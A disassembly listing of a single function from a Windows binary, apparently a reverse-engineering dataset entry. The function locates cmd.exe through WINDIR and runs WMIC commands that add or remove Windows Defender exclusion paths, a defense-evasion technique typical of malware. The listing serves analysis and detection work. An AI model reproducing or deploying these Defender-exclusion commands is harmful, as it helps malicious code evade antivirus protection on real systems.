Function at 0x1400242fa
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
call fcn.1400bbfe0
mov rax, qword [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400bc3a0
mov qword [rbp - 0x88], 0
mov qword [rbp - 0x90], 0
call fcn.1400bc050
call fcn.1400bc050
call fcn.1400bc0b0
mov edx, eax
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov edx, 1
mov rcx, rax
call fcn.1400b95f0
call fcn.1400bc670
call fcn.1400bc190
mov qword [rbp - 0x10], rax
lea rax, [0x14067b590]
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call fcn.1400bc410
test eax, eax
je 0x1400243e4
call fcn.1400bc050
call fcn.1400bc050
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400b8f40
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
sub rax, 1
mov qword [rbp - 0x28], rax
call fcn.1400bc0b0
mov ecx, eax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call fcn.1400b9fb0
call fcn.1400bc0b0
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400bc290
jmp 0x1400243e5
nop
call fcn.14009969c
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0x63
jle 0x140024670
call fcn.1400bc050
call fcn.1400bc050
call fcn.1400bc0b0
mov edx, eax
mov ecx, 0x3e8
call fcn.1400b9f50
call fcn.1400bc0b0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400bc290
mov rax, qword [rbp - 0x90]
mov qword [rbp - 0x38], rax
lea rax, str.WINDIR
mov rdx, qword [rbp - 0x38]
mov r8d, 0x3e8
mov rcx, rax
call sub.KERNEL32.DLL_GetEnvironmentVariableW
mov qword [rbp - 0x40], rax
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.System32
call fcn.1400bc470
call fcn.1400bc0b0
mov edx, eax
lea rax, [rbp - 0x88]
mov rcx, rax
call fcn.1400bc290
call fcn.1400bc050
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.Sysnativecmd.exe
call fcn.1400bc470
call fcn.1400bc200
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call fcn.14009ba88
mov qword [rbp - 0x50], rax
call fcn.1400bc120
cmp qword [rbp - 0x50], 0
jle 0x14002450a
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.Sysnative
call fcn.1400bc470
call fcn.1400bc0b0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400bc290
jmp 0x140024541
nop
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.System32
call fcn.1400bc470
call fcn.1400bc0b0
mov edx, eax
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400bc290
cmp qword [rbp + 0x18], 0
jle 0x1400245df
call fcn.1400bc050
call fcn.1400bc050
lea rcx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
call fcn.1400bc470
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400bc470
lea rcx, [0x140679944]
call fcn.1400bc470
call fcn.1400bc670
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.cmd.exe
call fcn.1400bc470
call fcn.1400bc200
mov qword [rbp - 0x70], rax
call fcn.1400bc200
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp - 0x88]
mov rdx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x70]
mov r9d, 3
mov r8, rcx
mov rcx, rax
call fcn.140088eb4
mov qword [rbp - 0x80], rax
call fcn.1400bc120
jmp 0x140024671
nop
call fcn.1400bc050
call fcn.1400bc050
lea rcx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
call fcn.1400bc470
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400bc470
lea rcx, [0x140679944]
call fcn.1400bc470
call fcn.1400bc670
call fcn.1400bc050
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc470
lea rcx, str.cmd.exe
call fcn.1400bc470
call fcn.1400bc200
mov qword [rbp - 0x58], rax
call fcn.1400bc200
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x88]
mov rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov r9d, 3
mov r8, rcx
mov rcx, rax
call fcn.140088eb4
mov qword [rbp - 0x68], rax
call fcn.1400bc120
jmp 0x140024671
nop
mov qword [rbp - 8], 0
mov rax, qword [rbp - 0x88]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp - 0x90]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400bc370
mov rax, qword [rbp - 8]
add rsp, 0xb0
pop rbp
ret